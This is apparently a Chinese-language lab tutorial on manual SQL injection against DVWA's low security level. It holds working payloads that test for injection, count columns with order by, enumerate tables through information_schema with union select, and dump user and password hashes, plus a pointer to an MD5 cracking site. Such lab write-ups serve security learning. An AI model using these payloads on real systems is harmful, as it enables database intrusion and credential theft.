=================================================================================
0x01:上low源码
=================================================================================
0x02:sql注入(low)
一、sql注入的过程:
1.寻找注入点
2.判断注入类型
3.判断数据库类型
4.获取数据库内容+提权
二、怎么寻找注入点:
1.注入点特点:
①可以跟数据库直接交互
②**?id=num**
? 是一种传参的形式,必要的
id=1,有什么用呢,它是用ID的值1与数据库进行交互,从而获得网页内容的回显
③如下图所示,?id=1,成功返回了网页内容,与数据库是直接交互的
2.注入点类型:
①get型:使用URL框注入
②post型:使用输入框注入
③cokkie型
或
①字符型
②整型
三、怎么判断注入点类型:
get型的注入方法:
一般进去网页后,会在id后面输入,这样的三个语句测试:
?id=1’
?id=1 and 1=1
?id=1 and 1=2
整型的判断结果:
?id=1’ 报错
?id=1’ and 1=1 正常回显
?id=1’ and 1=2 不正常回显
问:?id=1' and 1=1到底是什么啊?好恶心?
答:?id=1' and 1=1的剖析
①? //这个符号只是一个固定的传参格式,必须存在
②id=1 //一个语句,用来向服务器交互时候,调用id=1的内容
③and //一个逻辑判断符号,逻辑与,众所周知,只有两个表达式同时正确成立,才会运行该命令,才会与sql服务器交互
④1=1 //恒真,一个真语句
⑤1=2 //恒假,一个假语句
⑥?id=1 and 1=1 //是一个真语句,会执行命令与服务器交互
⑦?id=1 and 1=2 //是一个假语句,不会执行命令与服务器交互
⑧总之,and 1=2 这个逻辑判断语句就是,用来控制and前面的语句是否执行的
字符型的判断结果:
?id=1’ 报错
?id=1’ and 1=1 正常回显
?id=1’ and 1=2 正常回显
?id=1’ and ‘1’=‘1 正常
?id=1’ and ‘1’='1 不正常回显
问:为什么要加那么多引号呢?花里胡哨的。。。。。
答:?id=1' and '1'='1 剖析
①因为已知是字符型格式嘛,那么这条语句实质上是: ?id='1' and '1'='1'
又,由于传输的时候,会自动在输入的值得前后添加一对单引号,所以把最前和最后的单引号去掉就是:?id=1' and '1'='1
例字----post型的注入判断,字符型判断结果:
①输入’
②结果为:’’’’’
问:你会发现,出现五个单引号,这是为什么呢?
答:从内往外分析!
①一个单引号,这个是自己输入的单引号
②还有一对单引号为什么,因为,可能是字符型注入?然而字符型时候,系统会自动在参数的一前一后添加一对单引号,例如id='1'
③但是,还有一对引号呢?这个是报错的提示,提示你时候使用单引号达到高亮的效果,只是引住,起到强调的作用。
③输入:1’ and ‘1’=‘1
结果如下:
④输入:1’ and ‘1’='2
注意:结果也如下
三.判断数据库类型
略
四.获取数据库内容+提权
略
=================================================================================
0x03:low等级的手工注入过程如下
第一步:查看注入点,很明显的吧。。。。。
第二步:判断注入类型
①输入:
1'
//结果如下:报错
②输入:
1 and 1=1
//结果如下:正常回显
③输入:1 and 1=2
//结果如下:正常回显
④输入:
1' and '1'='1
//结果如下,结果如下:
⑤输入:
1' and '1'='2
//结果如下,不正常回显
由此判断为:字符型注入。。。。。。。。。。。。。。。
第三步:判断数据库类型
1.dvwa使用的是mysql数据库
第四步:开始注入数据库,爆库,提权等等
1.使用order by二分法猜测字段个数
①输入:
1' order by 5
如图所示:发现有错误
②输入:
1' order by 5 #
//结果如下,这不是报错,这个是显示无法识别有5个列,说明莫得5个列
③输入:
1' order by 3 #
//结果如下,显示莫得3列
④输入:
1' order by 4 #
//结果如下,显示有两个列
ID: 1’ order by 2 # //注意,这个是命令的回显,只是为了练习的方便,才显示,正常情况莫得的
First name: admin //第一个列
Surname: admin //第二个列
2.联合查询:
①不需要再联合查询,尝试哪个列中可以注入内容
因为:输入:
1' union select 1,2 #
结果如下:first name和surname是有内容的
注意:联合查询的1和2只是一个代数
②联合查询,把1和2换成database(),user(),version()等等查看对应的信息
输入:
1' union select database(),user() #
结果如下:显示了数据库名字为dvwa,和用户名称为root,@只是一个连接符,hostname为localhost
输入:
1' union select version(),2 #
结果如下,显示了数据库版本为5.5.53
3.爆数据库dvwa里的表
方法1:一次性显示表
①输入,
1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' #
结果如下:一次性爆出了所有的表为:guestbook和users
方法2:一个一个的显示
②输入,
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
结果如下:有两个表guestbook和users
4.爆出users表里的列
①输入,
1' union select 1,column_name from information_schema.columns where table_name='users'#
结果如下:爆出表users里的内容,有8个列
5.爆出user列和passwd列里的内容信息
①输入,
1' union select 1,group_concat(user,password) from users#
结果如下,但是有些杂乱,全都放到一起了
②输入,
1' union select 1,concat_ws(char(32,58,32),user,password) from users#
注意:32为空格,58为冒号
结果如下:显示了,用户名:密码
上图中的密码经过了md5加密,解密即可,如下,用户admin的密码为password
//解密网址:https://www.cmd5.com/
=================================================================================